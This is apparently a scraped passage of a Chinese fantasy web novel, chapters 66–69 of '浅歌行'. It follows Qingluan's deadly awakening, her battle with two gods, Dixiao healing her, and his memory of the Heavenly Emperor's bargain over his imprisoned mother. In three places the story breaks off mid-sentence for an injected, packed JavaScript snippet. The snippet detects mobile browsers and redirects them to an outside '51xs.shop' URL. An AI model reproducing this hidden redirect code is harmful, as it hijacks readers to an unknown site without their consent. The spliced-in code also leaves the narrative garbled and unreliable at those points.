好,很好,都想要取她的这颗心脏,都觉得渺小的她配不上这样强大的一颗心脏。 星辰之力持续修复着她的身体,她感受着力量的回归,晃晃悠悠从地上爬了起来。 另外一半仍旧在往虚无中坠落的意识被她强行召回,脑海中的意识重归完整的瞬间,她长长地吐了一口气。 是了,她要着眼于当下,不能一味沉溺于往昔记忆。 当下有人想要取她的性命。 那她就将他们都杀了。 “死人是无法保护任何人的,这是你自己说的。”她抬手召回小蓝,眼中突然暴涨琉璃色光芒,“死人也是无法复活任何人的,你为了复活那个人,不是一直都过得很辛苦么?从今以后不必了,我现在就可以送你去见她。” 66. 浅歌行 “小蓝,回来。” 小蓝感受到了自身后传来的强大气势,猜到青鸾已经觉醒部分力量,也明白此刻的自己绝不是眼前这个后神的对手,于是迅速收了魂体,变回最开始的小兽姿态,几步跃回了青鸾身边,藏进了她腰间的乾坤袋里。 大言合虚神则戒备地退回到自己的领域里,由进攻转变为了防守。 眼前这个鲜血淋漓的姑娘好似突然换了一个人,身上的气势变得极具压迫感不说,眼神也由方才的清澈无辜变为了毒辣狠戾。 她整个人好像变成了一个杀人无数的兵器,浑身上下没有一丝活人气息,只散发着腾腾杀意。 若非经历过成千上万场厮杀,绝不会拥有如此强悍冷冽的气息。 原本在领域的笼罩下变得阴沉沉的天空忽而开始颤抖,一股力量吞噬了残余的光芒,这一片区域瞬间陷入了绝对的黑暗之中。 所谓绝对黑暗,意味着没有一丝光芒,这一片空间中的所有人都失去了对周围环境的感知能力。 若不是嗅到一股浓烈的血腥气在朝着自己迅速逼来,大言合虚神甚至察觉不到青鸾的靠近。 他下意识抬起右手格挡,却发现在触碰到青鸾的一瞬间,自己的整条右臂就像陷入了一片黑色的沼泽。这片沼泽粘腻无比,令他动弹不得,并且还在迅速吸食着他的生命力。 他反应极快,毫不犹豫地砍掉了自己的右臂,迅速飞身而退。 可是下一秒,那股浓烈的血腥气再次拂过他的鼻尖,青鸾的速度比他更快,不过眨眼之间便再次逼了过来。 她所使的并不是星辰之力,而是一种他从来不曾见过也没有听说过的力量。 无论他如何闪避,黑暗如影随形。 如此过了片刻,她似乎是感觉这样戏耍他很没有意思,琉璃色光芒从她眼中闪过,周遭的黑暗便如潮水般退去。 他们再次回到了大言合虚神的领域,但是经过黑暗侵蚀的领域已经变得脆弱无比,她抬手打了个响指,领域便应声而碎。 领域与大言合虚神本为一体,是他自身力量向外界的延申。 此刻领域破碎,自然也会给他带来极大的损害。 体内的五脏六腑仿佛被人碾碎,他强忍着巨大的痛苦,抬头仰望着空中宛若死神的少女。 刹那之间,两人攻守相异,而他甚至不知道发生了什么。 直到这一刻,他才真正体会到何为恐惧。 从前他也曾面对过诸如帝骁那样的强敌,也有过不敌对手遭受重创的经历。 可无论对方多么强大,所使出的手段于他而言皆是可以堪破的。 只要是在这方天地之间诞生的生命,其所能使用的一切力量都有迹可循,而只要有迹可循,身为后神的他就有办法克敌制胜。 然而眼前的这个少女是一个例外。 她所使用的力量强大而又神秘,仿佛已经超越了天地法则,而且这一股力量中蕴含着强烈的毁灭之意,这让他第一次真正感受到死亡的威胁。 他在此刻才真正意识到,身为后神的他也是有可能陨落的。 死亡如同她方才引出的那片黑暗一般,其实一直如影随形。 她飞身而下,墨色长发如瀑,在空中徐徐散开,白皙的面庞上沾满了殷红血迹,在逼至大言合虚神面前时,她的眼中燃烧起浓浓恨意。 她反手折断了他的左臂,而他毫无反抗之力。 “你不是想要剜走我的心脏吗?”她抬起另一只手,缓缓没入他的胸膛,“那就让你也尝尝,被活生生剜走心脏是什么样的滋味。” 大言合虚神被困在原地,想要化为别的形态遁走都不能,只能生生忍受着整片胸膛被人徒手撕裂开的痛苦。 在心脏被攥住的一瞬间,他感觉到一阵又一阵的刺痛,这股刺痛令他喘不过气来,脸色也变得惨白。 青鸾似乎并不打算给他一个痛快,而是将那一颗心脏当作破抹布似的缓缓碾压揉搓。 这样折磨他,却又不杀了他,欣赏着他痛苦的表情,她竟然体会到一种久违的快感。 便在这时,身后突然袭来一道强大的剑气,这股剑气带有一丝上古神力,让她不得不松了大言合虚神,起身回首拂袖格挡。 大言合虚神趁机退到一边,狼狈地抬头望向来人:“武罗神君,你再晚来一步,我便要死在你养的这个小丫头手下了。” 帝骁手持归墟剑,注视着眼前这个令他感到陌生的青鸾,蹙着眉缓缓开口,不可置信地唤了一声鸾儿。 见到帝骁,青鸾的第一反应却是在周围布下一道禁制,防止大言合虚神逃走,然后飞身迎向帝骁手中的归墟剑,抬手便向剑身劈去。 这一柄剑是他从上古遗迹中取得的神器,其中蕴含着远古之神的神力,且那神力似乎隐隐克制她正在使用的力量,若不赶紧解决掉恐会十分棘手。 她迅速做出这个判断,然后所释放出的每一道力量都朝着毁灭归墟剑而去。 帝骁举剑格挡,被青鸾逼得连连后退,他只守不攻,企图唤醒青鸾的理智。 眼前的这个青鸾实在是太陌生了,此刻的她分明就是一个身经百战的杀手,攻向他的每一招都无比凌厉,可他所熟悉的那一个青鸾分明从小就养在他的身边,且他自诩将她保护得很好,除却上一次与羭次山神的战斗,她几乎从未有过与人交手厮杀的经历。 可是为何此刻的她出手会如此狠辣,一味强攻猛进,完全是不要命的打法。 帝骁反手振剑将她弹开,再一次唤她的名字:“鸾儿!你不认得我了吗?” 青鸾思考了一瞬,手上的杀招便也就顿了一顿。 不过片刻之后,帝骁所迎来的是她更为猛烈的进攻。 黑色的火焰自她指尖绽放,像是一团令人捉摸不透的黑色烟雾,时而张牙舞爪散发出凌乱的冰冷杀意,时而蜿蜒变化着盛放为一朵朵黑色的莲。 帝骁变了脸色。 这是可以瞬间将敌人化为白骨的死 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14042960|144614||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 气,他曾经在上古遗迹中见识过。 传闻那是来自另一个空间的死亡女神所掌握的法则之力,不知何故会在他们这片时空留下痕迹,不过好在那些遗留下来的死气只存在于上古遗迹当中,否则它们会成为比魔族始祖之息更为棘手的力量。 然而此刻青鸾就在他的眼前召唤出了这股力量,且萦绕在她指尖的黑色死气远比他在上古遗迹中遇见过的那些更为精纯。 凭他一己之力是绝对无法抵挡的,他只能驭使着归墟剑与她周旋。 黑色的火焰攀上剑身,化为一条条黑绳将它牢牢缠住,归墟在空中不断颤抖着,发出痛苦的嗡鸣。 “我当然认得你。”青鸾在这时开口,她站在距离帝骁不远的地方,驱使指尖黑雾,深深地凝视着他。 她所使用的这一股力量虽然本就属于她,但目前的她尚不能驾驭,因此反而被这股力量所掌控。它唤醒了她灵魂深处杀戮的本能,吞噬了她所有的理智与记忆,催促着她释放心中压抑的仇恨。 然而即便如此,在看到帝骁那张脸的一瞬间,青鸾还是记起了一些破碎的画面。 九重天宫上熊熊火焰中向她走过来的那个人,以保护之名豢养了她多年,最后却将她捆上诛仙台,意图剜去她的心脏。 她毕生不能忘。 “你们不都是想生挖我的这一颗心脏?”她突然间发了狠,黑色火焰随着她的心意而变幻,瞬间由一股股黑绳变为冲天之焰,燃烧着吞噬了归墟剑。 但闻一声剑鸣,归墟断为两截从空中坠下。 帝骁怔了一怔,便是这一瞬的怔神,被青鸾抓住机会掠至眼前,纤细的手指扼向他的喉咙。 不知道她哪里来的这么大力气,似乎能将他的脖子生生拧断,就在他即将喘不过气来之时,大言合虚神从青鸾身后杀出,再次使出领域,将她牵制了片刻。 帝骁这才得以脱身,失去了归墟剑的他只能祭出伏魔大阵试图困住青鸾。 然而法阵尚未完全形成便被青鸾掌心黑气蛮横地摧毁掉,她的眼中原本流淌着琉璃色光芒,此刻那光芒逐渐消散,变为了猩红色的杀气。 两位神君从来不曾想过,有朝一日合他二人之力,竟还无法对付这样一个小妖。 此刻的她被黑气缭绕着,所发出的每一道攻势都蕴含着浓浓的杀意,简直比传说中的魔神还要恐怖。 大言合虚神毕竟是个后神,体内流淌着先神血脉,因此能够在极短的时间内断臂重生恢复状态。原以为与帝骁合力至少能够牵制住青鸾,却没想到依然不是她的对手,他们两人从头到尾被这个小丫头压着打。 他看了一眼帝骁,眼神里有些绝望。 倘若真的把命交代在这里,那简直就是个天大的笑话。 青鸾眼中杀气更盛,她手掌一翻,那一道能够吞噬所有事物的黑暗再次降临。 在被黑暗彻底吞没的那一刻,他们听到青鸾带着恨意的低语。 “你们全都去死吧。” 67. 浅歌行 无尽的黑暗吞噬了大言合虚神与帝骁,也将青鸾淹没其中。 在理智彻底被恨意燃烧成灰烬之前,一道朦胧的星光自她身边缓缓浮现,将她温柔地包裹进了微弱的光芒里。 那光芒虽然微弱,在无边无际的黑暗中显得那样渺小,却是牢牢护住了她,如一捧雪浇灭了她心中燃烧着的恨意,还给她一片清明。 原本躁动无比的心终于平静下来,她的意识就此陷入沉睡。 再睁眼时,她发现自己身处一个小小的书舍里,想来应是大雪时节,她的身上披着一件厚厚的大衣,不远处还放着一盆燃得正旺的火炉。 揉揉眼睛,她有些茫然地坐了起来。 这才发现自己刚才是趴在一个小桌上睡觉,桌子上摆着一个棋盘,棋盘的主人正在自己与自己对弈。 见到青鸾醒来,他停下拈着黑子的手,抬眼望向她:“小九,你醒了。” 将手中黑子落下,他噙着一抹笑意道:“醒了就快回去吧,天色不早了。” 窗外的夜色太浓,而屋内的灯光太暗,青鸾看不清眼前之人的面庞,只觉得他的容颜模糊却又好看。 她似乎不认得他,但又觉得他的身上散发着无比熟悉的气息,今日好像是他们第一次见面,可她仿佛已经这样抬首注视了他千万年。 她下意识闭上了嘴,想要与他多待片刻,生怕自己一开口就会暴露出真实身份。 她并不是他口中的什么小九。 感受到面前之人的沉默,他落了一子,将手放回棋奁,然后再次抬眼注视着她。 只看了这么一眼,他似乎就看出了她的身份,随后他替她拢了拢身上的大衣,唇角笑意更浓:“原来不是小九,是青鸾啊。”他紧接着道:“青鸾,你也该回去了,你已在黑暗中待得太久,快离开吧。” 青鸾大吃一惊,直起身子,双手扶住桌沿:“你是谁?” 心脏怦怦地跳动着,不知道为什么,她好像已经找了眼前这个人许久,此刻她终于见到了他,却是在另一个时空,以另一个人的身份。 “我无法回答你的问题,无法告诉你我是谁。”他长久地注视着她,好似在以目光安抚着她急切的心情,语气里尽是温柔:“但我可以告诉你,小九是你,青鸾也是你,你并不是在以另一个人的身份与我对话。” 青鸾呆呆地张了张嘴。 他好像能洞穿她的一切想法。 他的声音与木炭燃烧的噼啪声混在一起,令人闻来莫名安心:“抱歉,真实之眼十万年才能使用一次,机会有限,我只能跨越时空来见小九。” 她不明白他在说什么,却又仿佛能够理解他的这一番解释,意识在这个时候开始变得恍惚,她知道自己要离开这个时空,回到没有他的世界去了。 她努力想要看清他的样貌,却依旧不能做到,只能隐约瞧出他是一头银发。 仿佛散发着朦胧星光,像银河一样好看的头发。 “青鸾,辛苦你了。” 他的声音与那片时空一起在她的周遭消散,直到最后她也没有看清他的容貌,只记得他唇畔的笑意,还有与他共处过的那一角书舍。 屋内一豆灯光缭绕。 窗外大雪压断松枝。 再次醒来时,她回到了自己原本所处的时空。 辽阔而且寂寞的四海八荒。 心中的杀意已被浇灭,便连那一腔愤懑也已被人温柔抚平,黑色的火焰缓缓自她指尖熄灭,吞噬了整片山脉的黑暗也逐渐散去。 青鸾叹息一声闭上眼睛,疲惫至极地从空中落下。 帝骁刚从令人窒息的黑暗当中脱身,便见到青鸾如同一只折翼的鸟儿那般跌下,于是连忙飞身接住她。 垂首望着怀里血色斑驳的人,他竟然不可遏制地涌起一阵又一阵的心疼。 自化形那一日起她便随他住在青要山中,他将她养得那样好,可如今她却伤成这样,气息奄奄地蜷缩在他怀里,好像下一秒就要支撑不住永远停止呼吸。 他赶来的时候她已发了狂,身上的伤全都是之前与大言合虚神交手时留下的。 大言合虚神刚从死亡的边缘回过神来,抬头一看发现帝骁正抱着伤痕累累的青鸾对自己怒目而视,顿时气极反笑道:“你明知我正以归魂树养着阿媱神魄,又在追寻子玉意图唤她醒来,为了从我这里得到阿媱的下落,你才纵着这小丫头到小华山来,企图引我出现。你比我更早知道她的那颗心脏可以助阿媱复活,恐怕也一直打着这个主意吧?想要利用她引我现身的人是你,从一开始便打算剜她心脏的人也是你,既然如此,现在又做出这样一副心疼的样子给谁看?” 帝骁并不打算回应他这一番挖苦,而是开门见山,直接道出自己此行来意:“将阿媱还给我,我饶你不死。” “她就在合虚,你想见她,自己去合虚便是。”大言合虚神依旧冷冷地笑着,望向帝骁的目光中带有些挑衅之意。 众人皆知合虚乃先神所居之地,周遭不仅灵气充沛,而且蕴含着许多后人难以参透的玄机,只有拥有先神血脉之人可以随意出入,其余的人无论使用什么手段都难以踏进一步。 这便是当年太华之战后大言合虚神携帝媱逃回合虚,九重天宫也只能听之任之,无法继续追杀的原因。 大言合虚神今日之所以这样说,也不过是明知帝骁无法进入合虚,故意激怒他而已。 帝骁轻轻地吸了一口气,极力克制住自己的情绪:“你只以归魂树养着她的神魄,可有法子保持她的身躯不腐?当然,你此时尽可以用自己的神力护持她的躯体,但这个法子又能坚持多久?一百年还是两百年?” 大言合虚神不耐烦地啧了一声:“这个就不劳你操心了,你我皆知能护持阿媱身躯万载不腐的只有藏在东海神君陌离处的上古神棺,等时机成熟,我自会去取。” “你竟能为阿媱做到这种地步?”帝骁眯了眯眼,语气意味深长:“为了她,你愿意再回东海神宫?” 大言合虚神沉默 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14056244|144614||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了片刻,嘴角勾起一抹嘲讽的笑,也不知是在嘲讽帝骁,还是在嘲讽他自己:“从前我也不信,我竟可以为了她做到这种程度。不过看到至今也不清楚自己真实心意的你,我突然又觉得比起你我还是好上许多。” 帝骁皱了皱眉:“什么真实心意?” 大言合虚神懒懒地抬起手,指了指他怀中的青鸾:“除非你把她交给我,否则我不会让你再见到阿媱。但我也知道,若非我将阿媱带来,你绝不会将这丫头给我。这是一个无解的死局,你与其在这里同我对峙,还不如赶紧带她回去疗伤。” 最后,他似笑非笑道:“再耽搁下去,她的小命怕是不保了。” 帝骁垂首望了一眼青鸾,见她脸色愈发惨白,也知不能继续耽误下去,思索了一瞬,他转变了让大言合虚神立马交出帝媱的强硬态度,而是提出一个条件:“既然都是为了复活阿媱,那便各退一步。谁能得到藏于东海的上古神棺,阿媱就交给谁。” “我不同意。”大言合虚神拒绝得很干脆:“阿媱不是一个物件,岂能容你我二人三言两语决定她的去留。当初离开九重天宫同我回到归墟,是她自己的选择。她是我的底线,在这件事情上无所谓各退一步。” 帝骁自觉一再退让,此刻已是忍无可忍,但若此时与大言合虚神交手,他们也只能落个两败俱伤的下场,况且青鸾遭受重创性命垂危,他的确应该尽快带她回去疗伤,不能在这个时候同他缠斗。 “你竟如此顽固,若当真一心为了阿媱,就该知道怎样做才是真的对她好。”思虑一番后,他撂下这么一句话,抱着青鸾离开,匆匆往青要山的方向去。 大言合虚神立在原地,直到帝骁的身影彻底消失在了视线当中,他才不再强撑,咳嗽几声呕出一口血来。 抬手抚上胸口,感受着心脏的跳动,他的目光逐渐变得阴沉。 这一场闹剧就此落下帷幕,带着青鸾回到青要宫中后,帝骁立即闭关给她疗伤,为她重塑经脉、重续断骨。 大言合虚神与青鸾交手时,显然每一招都是朝着要害去的,她实在伤得太重了。 帝骁闭关了三日,这三日里她无数次在鬼门关外徘徊,都被他以消耗神力为代价拉了回来。 待到出关之时,青鸾已然性命无虞,他抱着青鸾回到寝殿,脸色却是比她还白。 这三日闭关期间都是帝骁的近侍怀沙在一旁为他们护法,此刻见到帝骁这般模样,怀沙忍不住道:“其实您不必亲自为她疗伤,有属下们就够了。这三日您消耗了太多神力,修为大损……” 帝骁摆了摆手,示意怀沙不必多言。 他静静地注视着躺在床上仍旧虚弱无比的青鸾,过了好一会儿,才移开视线侧首对怀沙道:“今天是我探视母亲的日子,东西都准备好了吗?” 怀沙立即道:“尺素已将一切都准备好了,您随时可以动身。” 帝骁点了点头,走出寝殿,抬首望一眼藏在云端的九重天宫,隐于袖间的双手紧紧攥成了拳。 68. 浅歌行 这世上鲜少有人能够涉足九重天宫,除天君直系子嗣之外,能够踏足天宫的便只有那些取得封号的神君们了。因此四海八荒也就鲜有人知,他们所仰慕钦羡,期盼着有朝一日能亲眼一睹的天上宫殿,其实是这天下最为寂寥也最为幽暗的所在。 穿越重叠的云层,掠过湛蓝的苍穹,其上便是能偶闻鲸鸣,处于永夜之中的九重天宫。 这里长夜寂寂,不同于人间的四季分明,而是永远处于凛冬般的极寒中,在此地不知萦绕了几千几万年的寒气弥漫于九重天宫的每一个角落,而在这偌大的天宫之中最为隐秘也最为寒冷的角落,当属专门关押天族成员的龙渊之狱。 龙渊之狱位于天界一道万丈深渊之下,坐落于一片巨龙骸骨之间。传闻那一片骸骨乃上古真龙遗骸,那真龙不知是渡劫失败还是曾与人大战,它死后遗留下来的骸骨从此便漫无目的地飘流在宇宙之中。 后来某位先神引真龙之力炼化了这些骸骨,又施放了磅礴的先神之力设下禁制,这才成功炼化真龙遗骸,在此地形成了这样一片建筑。 虽然不知那位先神炼化此地有何用途,但经过亿万年时光更迭,如今世上已无先神,九重天宫之上也只剩下了天君一脉,此处就被历任天君作为拘禁天族成员的所在。 帝骁安顿好青鸾之后,先赶到九重天宫拜见其父帝凌,随后持天君令,来到这处隐秘的龙渊之狱。 真龙之力在天君令的引导下缓缓流淌,最后短暂地打开禁制,放帝骁进去。 帝骁拎着尺素准备好的食盒与衣物,独自踏入狱中,慢慢朝着其中一个角落走去。 在他的母亲被关进龙渊之狱的这几百年间,每次一到可以探视的日子,他都会先依例前往父亲宫中拜见,不过帝凌每次的态度都是一样的,明明知晓他的来意,却故意顾左右而言他,拒绝与他一同来到狱中探视母亲。 他便也就知道,尽管已经过去了几百年光阴,父亲依旧没有原谅母亲,那么他与母亲也就再也没有机会回到从前的时光了。 从前的时光…… 想到这里,他顿住了前行的步伐。 从前的时光是怎样的呢? 他的记忆已有些模糊了。 只记得那是在他很小的时候,那时的他同帝宣一样拥有一位时时刻刻关心着他,无微不至照料着他的母亲。 现在想来,那其实是一段遥远而且难堪的回忆。 母亲曾经对他的照料,那些关心的话语,还有每一次温柔的抚摸,都在之后变为了刺向他的利刃,成为了他被那些所谓的堂兄弟攻击的武器。 “原本就是一个低贱的凡人,能够到九重天宫之上伺候神君已是莫大的福分,竟然还不知足,做出这等丑事。” “她若同样寻了一个凡人也就罢了,竟偏偏去同一个妖物苟且,真是恶心。” “水性杨花的女人,不是都说那些妖物有异于常人之处么?指不定她就是图一时的爽快而已,却没想到还同那妖怪生下了一个小贱种。” “也不知天君是怎么想的,竟然不杀了她,不让她魂飞魄散,永世不得轮回,竟只把她拘禁起来。这样的女人,同我们一起待在九重天上我都嫌脏。” “怎么想的?呵,还不是为了帝骁。谁不知道天君偏宠帝骁,若不是他厚着脸皮替他的母亲求情,那贱妇做出这等丑事,天君岂能不杀了她?” “那女人看样子是水性杨花惯了的,谁知道这是第几回同妖物苟且?哼,天君如此宠爱帝骁,却不知那小子的血脉是否干净,说不定他同他的妖怪弟弟一样,身体里流淌着低贱妖物的血呢。” …… 是了,在母亲与那妖物苟且,甚至生下了一个孽种,背叛了他与父亲之后,他便再也没有过幼时那般纯粹快乐的时光了。 父亲一力主张杀死母亲,他虽也对母亲的行径万分痛恨,却终究不忍见到她被送上诛仙台,于是日日跪于九重天阶之下,乞求天君饶她一命。 九重天宫处于一片永久的黑暗之中,他也不知道他在这片黑暗当中跪了多少个日夜,总之,天君最后召见了他。 那是他第一次单独与天君对话,小小的他努力挺直腰杆,奋力陈情,想要说动天君,为母亲求得一条生路。 那也是天君第一次对帝骁提出要求,彼时他直视着帝骁的双眼,平等地与他对话,丝毫没有将他视作小儿。 “只有强者才有资格留住自己想留的事物,告诉本君,你是不是强者?” 面对天君突如其来的质问,帝骁连犹豫都没有犹豫,当即昂首大声道:“我是!” 天君似乎是笑了笑,他摇头否定道:“你与你的父亲都不是强者,所以你们都留不住你们想留的人。帝凌是一个废物,所以他守不住自己的女人,而你也是一个废物,所以你保不住自己的母亲。帝骁,本君这样告诉你,你可服气?” 帝骁倔强地仰起头与天君对视,死命地咬住嘴唇,直咬到双唇发白,整个口腔里都弥漫着血腥气,他才用力地挤出三个字:“我服气。” 天君扬起语调哦了一声,随即问道:“那你接下来预备怎么办?” 帝骁将小手藏在袖子里,紧紧地攥成拳,整个人都在微微颤抖着,面上却不露声色,保持着不属于他这个年纪的淡定与沉稳。 他站在原地,直面着来自天君的强大压迫感,一字一句地道:“我要成为强者,成为一个真正让您认可的强者。” 听他说完这番话,天君不再言语,他沉默了好一会儿,用冰冷的目光打量着帝骁,半晌之后突然仰头大笑道:“想要变得强大,可不光是动动嘴皮子就可以的。你接下来要勤于修炼,还要协助本君料理政务,在此期间我会将青要山赐给你居住,但在你成为神君之前,这片土地并不真正属于你。本君答应你,若 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14061563|144614||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你能在成年之前突破实力,且立下功绩获得神君封号,本君不仅让你做青要山的主人,还能饶你母亲一命,她不会被送上诛仙台,只会被拘禁在龙渊之狱中。帝骁,这个条件如何啊?你可能做到?” 帝骁依然没有丝毫的犹豫,当即坚定地回复道:“我能做到。” “好,本君果然没有看错你。”天君的确是很欣赏这个孩子的,他拥有同龄孩子所不具备的沉稳与果决,如今还因为他的那个母亲而多了一份坚毅。 不得不承认,帝骁是承袭天君之位的最佳人选。 不过真想要坐上这个位子,光具备这些品质是远远不够的。 天君自己当年便是经历了好一番厮杀,最后才从诸多竞争者当中脱颖而出,从此他对于天君之位的继承有了一个坚不可摧的认识,那便是只有断情绝爱,同他一样从竞争中厮杀出来,才有可能成为一个心系天下的合格天君。 因此他对于自己挑中的这个继承人的培养,其实才刚刚开始。 断情绝爱,所指的并不单单是亲情或者爱情。 他沉着声音对帝骁道:“听你父亲说,你痴迷于炼器之术?” 帝骁错愕地抬起头,没想到天君会突发此问,老实回答道:“炼器是我的爱好,我的确是……” 不待他把话说完,天君直接打断,冷声道:“从此以后你便没有这个爱好了,也不许再修习炼器之术。炼器之流绝非强者之路,你当专心剑道,用心修炼才是。” 帝骁张了张嘴,似是想要反驳,却又有些不敢,这时候的他终于显露出一些这个年纪该有的姿态,胆怯地坚持着,以沉默作为反抗,维护着自己唯一的爱好。 天君倒也没有一味用强,他注视着帝骁,缓了语气,意有所指地道:“本君知道,你定不愿让自己的母亲永远被关押在龙渊之狱中,可本君若是放了她,便堵不住悠悠之口。所以这件事情不能本君来做,只能由你来做,而你想要做成这件事,唯有成为四海八荒天上地下第一人,否则也难平众人之愤。本君言尽于此,相信你自己知晓今后该如何去做。” “我会成为强者,成为四海八荒天上地下第一人。”帝骁闭上眼睛,抹去自己眼中最后一丝不舍与眷恋:“从此我不再修习炼器之术,将会专心剑道,提升修为,不让天君失望。” 天君这才缓缓露出满意的微笑,伸手抚了抚帝骁的脑袋,在此刻褪去天君的威严,吝啬地向帝骁施以长辈的爱抚。 可是他的手掌是那样的凉,便连袖间都沾满了九重天上的亘古寒气,因此就算他在抚摸着帝骁,但是帝骁依然感觉不到半分温暖。 作为天君,他已在这九重天宫之中待得太久了,他所能带给这个继承人的,也只有万古不变的寒凉。 帝骁打了个冷颤,从那段带着凉意的记忆中回过神来,抬眸望向母亲所在的牢狱一角,愈发沉了面色,继续向前走去。 69. 浅歌行 龙渊之狱本来就鲜有人至,帝骁所去的那一个角落更是百年都不会有人涉足,因此那里便成为了各种巨兽的栖息之地。 须知真龙遗骸本就自成一片天地,内里自有一片空间,相当于人类修士所说的秘境,此地不过是借先神之力炼化出了一些建筑,还设下了一些禁制而已,本质上仍旧是一个不受人掌控的小世界。 当初炼化它的先神称得上是它的主人,可是自从那位先神离开之后,此地便成为了无主之地。 天族虽然将它当作关押族人的牢狱,却也只能使用其中的建筑与禁制,而不能完全掌控这一片区域,因此在这个野蛮生长的小世界里,还栖息着许多不知名的远古巨兽。 说起来它们才算是这片区域的原住民,若是没有禁制,那些被关押在此处的犯人们恐怕早就进了它们的肚子。 如此看来,每日担惊受怕地与这些可怖的巨兽同住此处,也是对那些犯人的惩罚之一。 帝骁的母亲被关押在这片区域最角落的虚空之牢中,一根巨大的藤蔓将牢室悬在空中,周围密布着巨大的蛛网,无数巨兽或蛰伏于暗中,或环伺在牢前,对着陌生的访客虎视眈眈。 蛛网和巨兽将帝骁母亲所在的牢室遮了个严严实实,他看不清牢狱内的情况,于是召出归墟,不耐烦地对着挡在面前的巨兽一挥。 剑气凌厉带着杀意,巨兽们瞬间明白过来眼前这个人不同于龙渊之狱中那些做做样子的狱卒,它们做出判断,此人实力高强,并且脾气不好。 于是有些巨兽识相地缩了起来,将自己隐匿在了黑暗的角落里,有的巨兽则不信邪地往前扑,企图一口将帝骁吞入腹中。 归墟剑虽已成为一把断剑,但是帝骁的剑道显然已至大音希声大象无形之境,断剑之光如莲绽放,每一瓣莲花看似都在柔软地舒展,但实际上每一道剑光都足以将那些巨兽开膛破肚。 于是瞬息之间,巨兽们就被大卸八块,还来不及反抗就变成了肉块从空中落下。 “骁儿,是你来了吗?” 巨兽全都退去,蛛网也被砍断,一个白衣女子的身形终于在弥漫着浓重血腥气的虚空之牢中浮现。 正是帝骁的母亲——素娆。 她看起来姿色平平,一双眼睛却如秋光潋滟那般好看,最稀奇的是作为一个没有法术傍身的凡人,她被关押在巨兽横行的龙渊之狱中,却没有流露出丝毫的恐惧之意。 她安静地坐在那里,平静得仿佛不是被拘禁在阴暗恐怖的牢狱中,而是在一个晴好的天气里品茗喝茶。 于是,这样一份超然的气度给她平添了许多姿色,使她看起来宛如一位飘逸脱俗不食人间烟火的仙子,即便是被拘禁在巨兽环伺的狱中,也分毫不减超逸之姿。 当初父亲便是被她这样的气度所吸引,才会不顾所有人的反对,固执地将她迎入九重天宫,还赠予她天地同寿丹,想要与她厮守千年的吧。 帝骁静静地注视着朝他伸出手来的素娆,忍不住这样去想。 “骁儿,你来看我了?” 素娆再次唤了一声帝骁的名字,从溅满巨兽鲜血的笼中伸出手,想要触碰到自己的孩儿。 帝骁却是一步未动,他持剑立于虚空之中,与母亲保持着距离。 从前怎么没有发现,母亲所在的这一个虚空之牢如同一个鸟笼,她这一身洁白衣衫因着父亲仙术的加持,永远清洁,不会沾染一丝尘埃,这便更显得她的模样是如此的可怜又可笑。 她好像一只被豢养在肮脏囚笼中的洁白鸟儿,已被剪去了双翼,此生再也没有希望飞出这座囚住她的牢笼。 他突然就有些气恼,气她背叛父亲与妖物私通,恼她不肯服软将自己陷入此般境地。 目光落到她怀中那个与妖物苟且而来的孩儿时,他的恼怒达到了顶峰。 “母亲百年才见孩儿一次,可有什么话想同我说?”他虽是在询问素娆,目光却始终落在她怀中的那个婴儿身上。 这个婴儿显然是被他的父亲封印住了元神,所以几百年的时光过去了,他依然还在襁褓之中。 “骁儿?”素娆自然是注意到了帝骁的异样,她不断地呼唤着他,希望他能够离她近一点:“你过来一点,让我好好看看你。” “母亲没有什么话想同我说么?”帝骁不为所动,良久,他终于将目光从那襁褓中的婴儿身上移开,与他的母亲两相对视:“那好,我有话想同您说。” 他没有直接道出自己的想法,素娆却是早已从他方才的举动中猜出了大概,闭上眼摇了摇头,再睁眼时,她的眼眶里已蓄满了泪水:“骁儿,你便这样容不下他么?我并未希求你将他视作你的弟弟,我只希望你能意识到他同你一样,都是母亲的孩儿。母亲怎么可能为了你而不要他?” “所以你便可以为了他而不要我么?”素娆所说的那番话显然刺痛了帝骁,他不复往日那般隐忍,也没了平时那般拒人于千里之外的冰冷威严,而是如同一个稚子,赌气地质问自己的母亲:“为了他,您宁愿在这囚牢中被拘禁几百年,是您不要我和父亲了。” 尽管盛怒已极,他却依然克制着自己的情绪,言至于此他便不再多说,而是紧紧地闭上嘴露出痛苦的神色。 素娆看得心疼不已,她捂住自己的心口,声泪俱下:“骁儿,母亲不能舍下他,却也并非不要你。我怎么舍得呢,我的骁儿……” 她攀住囚笼边缘,努力地想要朝他靠近一点,可他依旧立在原地,望向她的目光中逐渐浮现起刺骨寒意。 